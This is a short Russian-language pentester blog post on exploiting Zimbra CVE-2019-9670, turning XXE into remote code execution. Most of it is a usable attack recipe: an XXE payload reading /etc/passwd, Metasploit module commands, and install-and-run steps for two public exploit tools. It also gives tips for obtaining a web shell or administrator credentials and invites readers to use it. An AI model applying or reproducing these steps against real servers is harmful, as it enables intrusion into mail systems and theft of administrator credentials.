Monkey Hacker: “XXE to RCE Zimbra CVE-2019-9670 Всем привет! Проводя один из пентестов…”

XXE to RCE Zimbra CVE-2019-9670

Всем привет! Проводя один из пентестов был найден Zimbra сервер. В ней была найдена очень интересная CVE-2019-9670. Если кратко, то это экплуатация XXE для получения RCE. Звучит интересно, да?)

Payload XXE:

 xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>

Ниже приведу парочку примеров, как эксплуатировать эту вулну.
Metasploit:

msf > use exploit/linux/http/zimbra_xxe_rce
msf exploit(zimbra_xxe_rce) > show targets
    ...targets...
msf exploit(zimbra_xxe_rce) > set TARGET < target-id >
msf exploit(zimbra_xxe_rce) > show options
    ...show and set options...
msf exploit(zimbra_xxe_rce) > exploit

Arambiz - эксплойт на Python3:

 clone https://github.com/oppsec/arbimz.git
pip3 install -r requirements.txt
python3 main.py --url https://example.com/

Zaber - эксплойт на Go:

 install github.com/oppsec/zaber@latest
zaber -u https://example.com

Если у вас не находит бинарь, то пропишите абсолютный путь.

 -u https://example.com

А после работ не забудьте добавить $HOME/go/bin/ в свой PATH 😉

Все 3 сплойта отлично срабатывают, но есть пару нюансов.
Плохой нюанс кроется в Zaber. У него нет функции TLS verify skip, поэтому если будет кривой серт на сайте и только 443 открыт, то пользуйтесь Arambiz)
Хороший нюанс, даже если Arambiz не сможет достучаться до веб шела, то вы всё равно получите креды администратора. Поэтому постарайтесь найти логин форму и вы получите админку без веб шела.

Буду рад, если распространите этот материал!
Пользуйтесь на здоровье, но не думайте блечить 😉